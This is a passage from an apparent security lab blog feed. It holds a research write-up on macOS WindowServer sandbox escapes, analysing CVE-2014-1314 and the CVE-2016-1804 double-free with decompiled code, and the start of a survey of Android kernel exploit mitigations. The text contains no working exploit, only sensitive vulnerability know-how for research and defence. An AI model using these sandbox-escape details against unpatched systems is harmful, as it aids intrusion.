class="type">mach_msg_size_t</span> msgh_descriptor_count;</span><br><span class="line">&#125; <span class="type">mach_msg_body_t</span>;</span><br></pre></td></tr></table></figure><p>Then append a list of mach_msg_port_descriptor_t or mach_msg_ool_descriptor_t, or mach_msg_ool_ports_descriptor_t to finish composing the message and send to the target process.</p><p>It seems to be useless to put these basic concepts here, but believe me, it is useful (maybe in part 2).</p><h2 id="0x5-CoreGraphics-Interface"><a href="#0x5-CoreGraphics-Interface" class="headerlink" title="0x5 CoreGraphics Interface"></a>0x5 CoreGraphics Interface</h2><p>The CoreGraphics interfaces are divided into following categories:<br>– Workspace<br>– Window<br>– Transitions<br>– Session<br>– Region<br>– Surface<br>– Notifications<br>– HotKeys<br>– Display<br>– Cursor<br>– Connection<br>– CIFilter<br>– Event Tap<br>– Misc<br>When sandbox was introduced on Leopard, the first thought to bypass is to do a series of mouse&#x2F;keyboard simulation operations (For example, to simulate moving to calc icon and double clicking it.) The first trial made me excited because it was quite easy to move the cursor on the window to anywhere from a sandboxed environment by calling _XWarpCursorPosition:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line">__int64 __fastcall _XWarpCursorPosition(_DWORD *_RDI, __int64 a2)</span><br><span class="line">&#123;</span><br><span class="line">  __int64 *v6; <span class="comment">// rdi@3</span></span><br><span class="line">  <span class="type">signed</span> <span class="type">int</span> v7; <span class="comment">// er14@3</span></span><br><span class="line">  __int64 v13; <span class="comment">// r15@7</span></span><br><span class="line">  __int64 v14; <span class="comment">// rax@7</span></span><br><span class="line">  __int64 result; <span class="comment">// rax@14</span></span><br><span class="line">  <span class="type">int</span> v21; <span class="comment">// [rsp+0h] [rbp-20h]@3</span></span><br><span class="line"></span><br><span class="line">  <span class="keyword">if</span> ( *_RDI &lt; <span class="number">0</span> || _RDI[<span class="number">1</span>] != <span class="number">44</span> )</span><br><span class="line">  &#123;</span><br><span class="line">    *(_DWORD *)(a2 + <span class="number">32</span>) = <span class="number">-304</span>;</span><br><span class="line">  &#125;</span><br><span class="line">  ...</span><br><span class="line">    v7 = CGXWarpCursorPosition(<span class="number">0LL</span>);</span><br><span class="line">  ...</span><br><span class="line">  <span class="keyword">return</span> result;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>And quickly I located the function to place a double click event: __XPostFilteredEventTapDataSync:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">__int64 __fastcall _XPostFilteredEventTapDataSync(_DWORD *a1, __int64 a2)</span><br><span class="line">&#123;</span><br><span class="line">  ...</span><br><span class="line">  <span class="keyword">else</span></span><br><span class="line">  &#123;</span><br><span class="line">    *(_DWORD *)(a2 + <span class="number">32</span>) = post_filtered_event_tap_data(a1[<span class="number">8</span>], a1[<span class="number">9</span>], (<span class="type">unsigned</span> <span class="type">int</span>)a1[<span class="number">10</span>], a1[<span class="number">11</span>], a1 + <span class="number">13</span>, v3);</span><br><span class="line">  &#125;</span><br><span class="line">  result = *(_QWORD *)NDR_record_ptr;</span><br><span class="line">  *(_QWORD *)(a2 + <span class="number">24</span>) = *(_QWORD *)NDR_record_ptr;</span><br><span class="line">  <span class="keyword">return</span> result;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>However, in post_filtered_event_tap_data, it checks sandbox unfortunately:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line">__int64 __fastcall <span class="title function_">post_filtered_event_tap_data</span><span class="params">(<span class="type">unsigned</span> <span class="type">int</span> a1, <span class="type">unsigned</span> <span class="type">int</span> a2, __int64 a3, <span class="type">unsigned</span> <span class="type">int</span> a4, _DWORD *a5, <span class="type">unsigned</span> <span class="type">int</span> a6)</span></span><br><span class="line">&#123;</span><br><span class="line">...</span><br><span class="line">  <span class="keyword">if</span> ( CGXSenderCanSynthesizeEvents() ) <span class="comment">//check here</span></span><br><span class="line">  &#123;</span><br><span class="line">  ...</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="type">bool</span> <span class="title function_">CGXSenderCanSynthesizeEvents</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">unsigned</span> <span class="type">int</span> v0; <span class="comment">// ecx@1</span></span><br><span class="line">  <span class="type">bool</span> result; <span class="comment">// al@2</span></span><br><span class="line"></span><br><span class="line">  v0 = WSGetLastMessageAuditTrailerPid();</span><br><span class="line">  <span class="keyword">if</span> ( v0 )</span><br><span class="line">    result = (<span class="type">unsigned</span> <span class="type">int</span>)sandbox_check(v0, <span class="string">&quot;hid-control&quot;</span>, <span class="number">0LL</span>) == <span class="number">0</span>; <span class="comment">// failed to pass the check</span></span><br><span class="line">  <span class="keyword">else</span></span><br><span class="line">    result = <span class="number">0</span>;</span><br><span class="line">  <span class="keyword">return</span> result;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>Because most of the sandboxed application won’t have “hid-control” entitlement, my initial trial has to stop here.</p><p>Another thought is to add a customized hotkey by calling _XSetHotKey, but also ended up with failure:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line">__int64 __fastcall _XSetHotKey(__int64 a1, __int64 a2)</span><br><span class="line">&#123;</span><br><span class="line">  ...</span><br><span class="line">  <span class="keyword">if</span> ( v20 &amp;&amp; (<span class="type">unsigned</span> <span class="type">int</span>)sandbox_check(*(<span class="type">unsigned</span> <span class="type">int</span> *)(v20 + <span class="number">284</span>), <span class="string">&quot;hid-control&quot;</span>, <span class="number">0LL</span>) ) <span class="comment">//sandbox check here</span></span><br><span class="line">            <span class="keyword">goto</span> LABEL_39;</span><br><span class="line">        &#125;</span><br><span class="line">      &#125;</span><br><span class="line">...</span><br><span class="line">LABEL_39:</span><br><span class="line">    *(_DWORD *)(a2 + <span class="number">32</span>) = v7;</span><br><span class="line">    <span class="keyword">goto</span> LABEL_40;</span><br><span class="line">  &#125;</span><br><span class="line">  *(_DWORD *)(a2 + <span class="number">32</span>) = <span class="number">-304</span>;</span><br><span class="line">LABEL_40:</span><br><span class="line">  result = *(_QWORD *)NDR_record_ptr;</span><br><span class="line">  *(_QWORD *)(a2 + <span class="number">24</span>) = *(_QWORD *)NDR_record_ptr;</span><br><span class="line">  <span class="keyword">return</span> result;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>Actually among the above API set, many interfaces are regarded as “unsafe”, thus sandbox check is performed on those server-side APIs. Typical examples include event tap, hotkey configuration, etc. Because of that, on a sandboxed application, dangerous operations such as adding a hotkey, or post an event tap (e.g sending a mouse clicking event), are strictly forbidden.</p><p>On the other side, some interfaces are partially allowed. Typical examples include CIFilter, Window related interfaces, etc. Such interfaces perform operations on specific entities that belong to the caller’s process. For example, API __XMoveWindow performs window move operation. It accepts a user-provided window ID and perform the check by calling connection_holds_rights_on_window function to determine whether the window is allowed to move by caller’s process. Actually only window owner’s process is allowed to do such operations.(or some special entitlement is needed to have the privilege allowing to perform operations on any window):</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line">__int64 __usercall _XMoveWindow@&lt;rax&gt;(__int64 a1@&lt;rax&gt;, _DWORD *a2@&lt;rdi&gt;, __int64 a3@&lt;rsi&gt;, __int128 _XMM0@&lt;xmm0&gt;)</span><br><span class="line">&#123;</span><br><span class="line"> </span><br><span class="line">    <span class="keyword">if</span> ( (<span class="type">unsigned</span> __int8)connection_holds_rights_on_window(v8, <span class="number">1LL</span>, v7, <span class="number">1LL</span>, <span class="number">1LL</span>) <span class="comment">//check window rights of the source process</span></span><br><span class="line">      || (v9 = <span class="number">1000</span>, v7)</span><br><span class="line">      &amp;&amp; (v10 = (<span class="type">unsigned</span> __int8)connection_holds_rights_on_window(v8, <span class="number">4LL</span>, v7, <span class="number">1LL</span>, <span class="number">1LL</span>) == <span class="number">0</span>, v9 = <span class="number">1000</span>, !v10) )</span><br><span class="line">    &#123;</span><br><span class="line">      __asm</span><br><span class="line">      &#123;</span><br><span class="line">        vcvtsi2ss xmm0, xmm0, r12d</span><br><span class="line">        vcvtsi2ss xmm1, xmm0, r13d</span><br><span class="line">      &#125;</span><br><span class="line">      v9 = CGXMoveWindowList(v8, (<span class="type">char</span> *)&amp;v14 + <span class="number">4</span>, <span class="number">1LL</span>);</span><br><span class="line">    &#125;</span><br><span class="line">    *(_DWORD *)(a3 + <span class="number">32</span>) = v9;</span><br><span class="line">  &#125;</span><br><span class="line">  result = *(_QWORD *)NDR_record_ptr;</span><br><span class="line">  *(_QWORD *)(a3 + <span class="number">24</span>) = *(_QWORD *)NDR_record_ptr;</span><br><span class="line">  <span class="keyword">return</span> result;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>At this point, it made me believe Apple has considered everything to make Apple sandbox compatible to those older components.<br>But luckily I started thinking all of those in the year 2013, which is a pretty good time. I finally found a bug where Apple failed to consider.</p><h2 id="0x6-CVE-2014-1314-the-old-legend"><a href="#0x6-CVE-2014-1314-the-old-legend" class="headerlink" title="0x6 CVE-2014-1314: the old legend"></a>0x6 CVE-2014-1314: the old legend</h2><p>As we know, Apple sandbox was introduced not long time ago, while Apple graphics has a much longer history. The original design of Apple graphics doesn’t take sandbox stuff into account. Although years have been spent to improve the graphics security under the sandboxed context, there are still issues left. CVE-2014-1314 is a typical example, which I used it in Pwn2Own 2014. The issue exists in CoreGraphics session APIs. CoreGraphics provides a client side API CGSCreateSessionWithDataAndOptions which sends request to be handled by server side API _XCreateSession.<br>_XCreateSession will reach the following code:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br></pre></td><td class="code"><pre><span class="line">__int64 __fastcall __CGSessionLaunchWorkspace_block_invoke(__int64 a1)</span><br><span class="line">&#123; </span><br><span class="line">...</span><br><span class="line">v28 = fork(); <span class="comment">//fork</span></span><br><span class="line"><span class="keyword">if</span> ( v28 == <span class="number">-1</span> )</span><br><span class="line">&#123;</span><br><span class="line">  v29 = *__error();</span><br><span class="line">CGSLogError(<span class="string">&quot;%s: cannot fork workspace (%d)&quot;</span>, v37);</span><br><span class="line">v3 = <span class="number">1011</span>; &#125;</span><br><span class="line"><span class="keyword">else</span></span><br><span class="line">&#123;</span><br><span class="line"><span class="keyword">if</span> ( !v28 )</span><br><span class="line">&#123;</span><br><span class="line">  setgid(HIDWORD(v24));</span><br><span class="line">  setuid(v24); <span class="comment">//set uid to current user’s uid</span></span><br><span class="line">  setsid();</span><br><span class="line">  chdir(<span class="string">&quot;/&quot;</span>);</span><br><span class="line">  v35 = open(<span class="string">&quot;/dev/null&quot;</span>, <span class="number">2</span>, <span class="number">0LL</span>);</span><br><span class="line">v36 = v35;</span><br><span class="line"><span class="keyword">if</span> ( v35 != <span class="number">-1</span> )</span><br><span class="line">&#123;</span><br><span class="line">  dup2(v35, <span class="number">0</span>);</span><br><span class="line">  dup2(v36, <span class="number">1</span>);</span><br><span class="line">  dup2(v36, <span class="number">2</span>);</span><br><span class="line">...</span><br><span class="line">  <span class="keyword">if</span> ( v36 &gt;= <span class="number">3</span> )</span><br><span class="line">    close(v36);</span><br><span class="line">&#125;</span><br><span class="line">execve(v9, v40, v44);</span><br><span class="line">_exit(<span class="number">127</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>This function allows the user to create a new logon session. By default, WindowServer will create a new process at “&#x2F;System&#x2F;Library&#x2F;CoreServices&#x2F;loginwindow.app&#x2F;Contents&#x2F;MacOS&#x2F;loginwindow” and launch the login window under the current user’s context (by calling setuid and setgid to the user’s. Oh, WindowServer has can setuid!!). Apple also allows user to specify customized login window, which - on the contrary - allows attackers in the sandboxed context to run any process at an unsandboxed context.</p><h2 id="0x7-CVE-2016-1804-the-memory-corruption"><a href="#0x7-CVE-2016-1804-the-memory-corruption" class="headerlink" title="0x7 CVE-2016-1804: the memory corruption"></a>0x7 CVE-2016-1804: the memory corruption</h2><p>Now let’s back to the year 2016. In CoreGraphics, some new interfaces (We count them as Misc category) were introduced to align with new models of MacBook. For example, interface _XSetGlobalForceConfig allows a user to configure force touch. Users can provide with force touch configuration data and serialize them. _XSetGlobalForceConfig saves the serialized data into CFData and call _mthid_unserializeGestureCon guration API to unserialize the data.</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">__int64 __fastcall _XSetGlobalForceConfig(__int64 a1, __int64 a2)</span><br><span class="line">&#123;</span><br><span class="line">...</span><br><span class="line">   v5 = *(_QWORD *)(a1 + <span class="number">28</span>); <span class="comment">//v5 is a pointer pointing to user controllable data</span></span><br><span class="line">   v6 = CFDataCreateWithBytesNoCopy(*(_QWORD *)kCFAllocatorDefault_ptr, </span><br><span class="line">        v5, </span><br><span class="line">        v4, </span><br><span class="line">        *(_QWORD *)kCFAllocatorNull_ptr); <span class="comment">// create CFData on v5</span></span><br><span class="line">  </span><br><span class="line">  v7 = _mthid_unserializeGestureConfiguration(v6); <span class="comment">//try to unserialize the data</span></span><br><span class="line">   <span class="keyword">if</span> ( v6 )</span><br><span class="line">     CFRelease(v6, v5); <span class="comment">//free the CFData twice!</span></span><br><span class="line">...</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>_mthid_unserializeGestureConfiguration forgets to retain the CFData and calls CFRelease to free the data if the force touch configuration is not valid. After _mthid_unserializeGestureCon guration function returns, _XSetGlobalForceConfig frees the data again and causes the double free.</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">__int64 __fastcall _mthid_unserializeGestureConfiguration</span><br><span class="line">   (__int64 a1)</span><br><span class="line">&#123; ...</span><br><span class="line"><span class="keyword">if</span> ( v2 ) &#123;</span><br><span class="line">   <span class="keyword">if</span> ( !(<span class="type">unsigned</span> __int8)</span><br><span class="line">_mthid_isGestureConfigurationValid(v2) )</span><br><span class="line">CFRelease(a1); <span class="comment">//if the data is invalid, free it once</span></span><br><span class="line">result = v2; &#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">return</span> result;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="0x8-Wrap-up-exploitable"><a href="#0x8-Wrap-up-exploitable" class="headerlink" title="0x8 Wrap-up: exploitable?"></a>0x8 Wrap-up: exploitable?</h2><p>CVE-2016-1804 looks unexploitable because:</p><ul><li>small time window between two frees (crash if failure to fill in data in between?)</li><li>All CoreGraphics interfaces are running in a server loop on a single thread, not possible to leverage another CoreGraphics API to attempt racing and filling in at another thread.</li><li>ASLR&#x2F;DEP consideration</li></ul><p>Here I leave the questions to readers and I will discuss about the exploitation at Part 2 next week.</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;When talking about Apple Graphics, the WindowServer component should not be neglected. Rencently KeenLab has been talking about Apple graphics IOKit components at POC 2015 “&lt;a href=&quot;http://powerofcommunity.net/poc2015/liang.pdf&quot;&gt;OS X Kernel is As Strong as its Weakest Part&lt;/a&gt;“, CanSecWest 2016 “&lt;a href=&quot;https://cansecwest.com/slides/2016/CSW2016_Chen-Grassi-He_Apple_Graphics_Is_Compromised.pdf&quot;&gt;Don’t Trust Your Eye: Apple Graphics Is Compromised!&lt;/a&gt;“, and RECon 2016 “&lt;a href=&quot;https://speakerdeck.com/flankerhqd/shooting-the-osx-el-capitan-kernel-like-a-sniper&quot;&gt;Shooting the OS X El Capitan Kernel Like a Sniper&lt;/a&gt;“, however the userland part is seldomly mentioned in public. &lt;/p&gt;
&lt;p&gt;This week Pwnie announced bug nominations for 2016, where the windowserver bug CVE-2016-1804 is &lt;a href=&quot;http://pwnies.com/nominations/&quot;&gt;listed&lt;/a&gt; , it made me think of writing something. But when I started writing, I realized it is a long story. Then I realized a long story can be cut into short stories (I also realized my IQ is low recently which many of my colleagues have pointed out, due to extremely hot weather in Shanghai maybe, or not…) &lt;/p&gt;
&lt;p&gt;So…I decided to split the whole story into 3. In part 1, I will mainly focus on the history of windowserver, basic concepts, architecture, CVE-2014-1314 (A design flaw which we used to take down OS X Mavericks at Pwn2Own 2014) and finally, details of the pwnie nomination bug: CVE-2016-1804, which we used to take down the latest OS X El Capitan remotely with a browser exploit and escalated to root privilege. However when I first discovered CVE-2016-1804 last year, it had been considered unexploitable, at least for 1 week. Part 1 then wrapped up here with questions&amp;#x2F;challenges. &lt;/p&gt;
&lt;p&gt;Next week I will release part 2 for the partial exploitation by introducing an 0day which gave me inspiration of the successful exploitation of CVE-2016-1804. The last part: part 3, which is the most exciting part, is NOT a blog post, instead it will be discussed at Black Hat 2016 Briefings “&lt;a href=&quot;https://www.blackhat.com/us-16/briefings.html#subverting-apple-graphics-practical-approaches-to-remotely-gaining-root&quot;&gt;SUBVERTING APPLE GRAPHICS: PRACTICAL APPROACHES TO REMOTELY GAINING ROOT&lt;/a&gt;“&lt;/p&gt;
&lt;p&gt;Ok, now let’s start the short story:&lt;/p&gt;</summary>
    
    
    
    
  </entry>
  
  <entry>
    <title>Emerging Defense in Android Kernel</title>
    <link href="http://keenlab.tencent.com/en/2016/06/01/Emerging-Defense-in-Android-Kernel/"/>
    <id>http://keenlab.tencent.com/en/2016/06/01/Emerging-Defense-in-Android-Kernel/</id>
    <published>2016-06-01T13:33:23.000Z</published>
    <updated>2025-12-08T11:23:10.850Z</updated>
    
    <content type="html"><![CDATA[<p>There was a time that every Linux kernel hacker loves Android. It comes with a kernel from stone-age with merely any exploit mitigation. Writing exploit with any N-day available was just a walk in the park.<br>Now a days Google, ARM and many other SoC&#x2F;device vendors have put many efforts hardening the security of Android, including its kernel, which is (in most cases) the last defense against attack.</p><p>As a group of Android gurus focusing on rooting, we probably facing these defense more than researchers in other fields. In this post we are going to summarize kernel exploit mitigations appeared in the recent 2 years, and sharing our opinions on their effectiveness.</p><p>Note that we are going to focus on the implementation of mitigations in this post. We may point out its weakness, but we are not going to detail bypassing techniques for each mitigation.</p><span id="more"></span><h2 id="Outline"><a href="#Outline" class="headerlink" title="Outline"></a>Outline</h2><ul><li>Hardware</li><li>Google&#x2F;Linux</li><li>Vendors<ul><li>Samsung</li><li>Others</li></ul></li></ul><h2 id="Hardware"><a href="#Hardware" class="headerlink" title="Hardware"></a>Hardware</h2><p>As Intel has officially abandoned its Atom product line, no one is going to challenge ARM’s Android dominance soon enough. We will be focusing on ARM for the rest part of this post, since no one cares any other architecture for Android :p</p><p><strong>MMU</strong><br>Modern ARM processors come with a comprehensive MMU, providing basic V2P translation, access control, TLB, ASIDs and many other memory management features. Among them, both 32-bit (arm) and 64-bit (arm64) mode of recent ARM architectures provide full RWX access control on pages level. In addition, one of the key “advanced” security features is PXN (Privilege Execute-Never), a feature with similar idea of Intel’s SMEP but different in implementation details. PXN has been widely enabled on 64-bit devices as a relief of ret2usr attacks.<br>Details on how Android kernel utilize these features will be discussed in further sections.</p><p><strong>TrustZone</strong><br>TrustZone is an extension to ARM cores, which creates two “worlds”. The following figure describes how this works:<br><img src="/en/img/Emerging-Defense-in-Android-Kernel/tz_two_worlds.png"><br>Source: <a href="https://genode.org/documentation/articles/trustzone">https://genode.org/documentation/articles/trustzone</a></p><p>Although few restrictions are there that how vendor can utilize Trustzone, usually the feature-rich OS, aka Android, in our case, is going to run in the normal world. The secure world will be hosting trustlets on a light-weight OS.<br>As a secure world running in parallel with the normal world, compromising the kernel in normal world shall not affect the secure world if the implementation was properly done, as their communication is handled by the privileged monitor mode code usually loaded by low-level bootrom. However, there are cases seen that secure world can also be compromised due to its own bug or bugs in monitor mode.</p><h2 id="Google-Linux"><a href="#Google-Linux" class="headerlink" title="Google&#x2F;Linux"></a>Google&#x2F;Linux</h2><p>As the open source software being used most widely, Linux kernel can be modified by many parties, which not all of these modifications are merged into mainline. Here we will be only discussing the features implemented in mainline and appear in Google’s Android kernel repositories.<br>Linux kernel has utilized many features to harden the kernel. One of them is protecting critical memory zones like kernel text and non-volatile data. Recent Linux mainline kernel has this feature implemented through CONFIG_DEBUG_RODATA:</p><pre>CONFIG_DEBUG_RODATA    arm    prompt: Make kernel text and rodata read-only    type: bool    depends on: ( CONFIG_MMU && ! CONFIG_XIP_KERNEL ) && ( CONFIG_CPU_V7 )    defined in arch/arm/mm/Kconfig    found in Linux kernels: 3.19, 4.0–4.6, 4.6+HEAD    Help text:    If this is set, kernel text and rodata memory will be made read-only, and non-text kernel memory will be made non-executable. The tradeoff is that each region is padded to section-size (1MiB) boundaries (because their permissions are different and splitting the 1M pages into 4K ones causes TLB performance problems), which can waste memory.    arm64    prompt: Make kernel text and rodata read-only    type: bool    depends on: (none)    defined in arch/arm64/Kconfig.debug    found in Linux kernels: 4.0–4.6, 4.6+HEAD    Help text:    If this is set, kernel text and rodata will be made read-only. This is to help catch accidental or malicious attempts to change the kernel's executable code.    If in doubt, say Y</pre><p>Note that despite having “DEBUG” in its name, this is actually recommended for arm64. It should be enabled by default for arm also.</p><p>During kernel boot, in init&#x2F;main.c, kernel_init() will call mark_rodata_ro() to literally mark every read-only section with proper permissions:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">static</span> <span class="type">int</span> __ref <span class="title function_">kernel_init</span><span class="params">(<span class="type">void</span> *unused)</span></span><br><span class="line">&#123;</span><br><span class="line">    kernel_init_freeable();</span><br><span class="line">...</span><br><span class="line">    mark_rodata_ro();</span><br><span class="line">...</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>Function mark_rodata_ro() will do nothing if CONFIG_DEBUG_RODATA is not defined:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">ifndef</span> CONFIG_DEBUG_RODATA</span></span><br><span class="line"><span class="type">static</span> <span class="keyword">inline</span> <span class="type">void</span> <span class="title function_">mark_rodata_ro</span><span class="params">(<span class="type">void</span>)</span> &#123; &#125;</span><br><span class="line"><span class="meta">#<span class="keyword">endif</span></span></span><br></pre></td></tr></table></figure><p>If it is defined, though, the implementation of mark_rodata_ro() will be architecture specific, which means you should be looking for its definition in arch&#x2F;arm and arch&#x2F;arm64. For both architectures, Linux kernel leverages “section” page entry to improve performance and reduce memory profile of the page table for kernel virtual address space. A “section” page entry usually is one level up than actual page entry (which represents 1 page). Doing so will allow MMU to walk the page table faster by reducing the depth and make TLB more efficient, as there are far fewer entries to be cached. This does come with a cost though, that sections must be aligned at MiB level (1MB or 2MB), which means some physical RAM can be wasted. Of course, this is a minor problem for modern devices as many of them has more than 2GB of RAM.</p><p>You may have noticed that the kernel versions mentioned above are far beyond common versions we seen in Android (3.19+ vs. 3.4&#x2F;3.10&#x2F;3.18). However, since the patch is really simple, Google and other vendors actively back-port these features to their own kernel repositories. This also caused some chaos that the actual code varies among different vendors, but eventually they are just doing the same stuff, which sets up the page table entries for kernel virtual address space.</p><p>For arm, a section page entry means a first-level section type PMD (folded up). Per ARM definition, the 2nd bit of the entry indicates whether it is a conventional entry or a section one. Note that super-section is not utilized here.<br><img src="/en/img/Emerging-Defense-in-Android-Kernel/1st_lvl_arm32.png"><br>Origin: <a href="http://infocenter.arm.com/help/index.jsp?topic=/com.arm.doc.dai0425/BABCDECH.html">http://infocenter.arm.com/help/index.jsp?topic=/com.arm.doc.dai0425/BABCDECH.html</a></p><p>The bit AP[2], aka APX, together with AP[1:0], will determine both user and privileged permissions:</p><pre>  APXAP[1:0]  Privileged    User  0  b00      No access     No access  0  b01      Read/write    No access  0  b10      Read/write    Read-only  0  b11      Read/write    Read/write  1  b00      –             –[ 1  b01      Read-only     No access ]  1  b10      Read-only     Read-only  1  b11      Read-only     Read-only</pre><p>Source: <a href="http://infocenter.arm.com/help/index.jsp?topic=/com.arm.doc.ddi0211k/Caceaije.html">http://infocenter.arm.com/help/index.jsp?topic=/com.arm.doc.ddi0211k/Caceaije.html</a><br>So for any kernel text&#x2F;rodata section, it will be APX:&#x3D;1 and AP[1:0]:&#x3D;b01. This is defined in mainline code in arch&#x2F;arm&#x2F;mm&#x2F;init.c:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">ifdef</span> CONFIG_DEBUG_RODATA</span></span><br><span class="line"><span class="type">static</span> <span class="class"><span class="keyword">struct</span> <span class="title">section_perm</span> <span class="title">ro_perms</span>[] =</span> &#123;</span><br><span class="line">       <span class="comment">/* Make kernel code and rodata RX (set RO). */</span></span><br><span class="line">       &#123;</span><br><span class="line">               .start  = (<span class="type">unsigned</span> <span class="type">long</span>)_stext,</span><br><span class="line">               .end    = (<span class="type">unsigned</span> <span class="type">long</span>)__init_begin,</span><br><span class="line">...</span><br><span class="line">               .mask   = ~(PMD_SECT_APX | PMD_SECT_AP_WRITE),</span><br><span class="line">               .prot   = PMD_SECT_APX | PMD_SECT_AP_WRITE,</span><br><span class="line">               .clear  = PMD_SECT_AP_WRITE,</span><br><span class="line"><span class="meta">#<span class="keyword">endif</span></span></span><br><span class="line">       &#125;,</span><br><span class="line">&#125;;</span><br><span class="line"><span class="meta">#<span class="keyword">endif</span></span></span><br></pre></td></tr></table></figure><p>For arm64, there is a difference that by default it has a 3-level page table. This is for the apparent reason that the virtual address space is much bigger. So for now section (while still being PMD) is now a second-level one. Sometimes it is also called a “block”. The attributes available for a block are:<br><img src="/en/img/Emerging-Defense-in-Android-Kernel/figure_d4_19.png"><br>Source: <a href="http://armv8-ref.codingbelief.com/en/chapter_d4/d43_3_memory_attribute_fields_in_the_vmsav8-64_translation_table_formats_descriptors.html">http://armv8-ref.codingbelief.com/en/chapter_d4/d43_3_memory_attribute_fields_in_the_vmsav8-64_translation_table_formats_descriptors.html</a></p><p>It has only two bits for access permissions, noted as AP, and the mapping is simpler than arm:</p><pre>  APUnprivileged (EL0)   Privileged (EL1/2/3)  00No access         Read and write  01Read and write        Read and write  10No access         Read-only  11Read-only         Read-only</pre><p>Source: <a href="http://infocenter.arm.com/help/index.jsp?topic=/com.arm.doc.den0024a/BABCEADG.html">http://infocenter.arm.com/help/index.jsp?topic=/com.arm.doc.den0024a/BABCEADG.html</a></p><p>It is quite clear that we need to set AP[1] for read-only. So we have the following code in 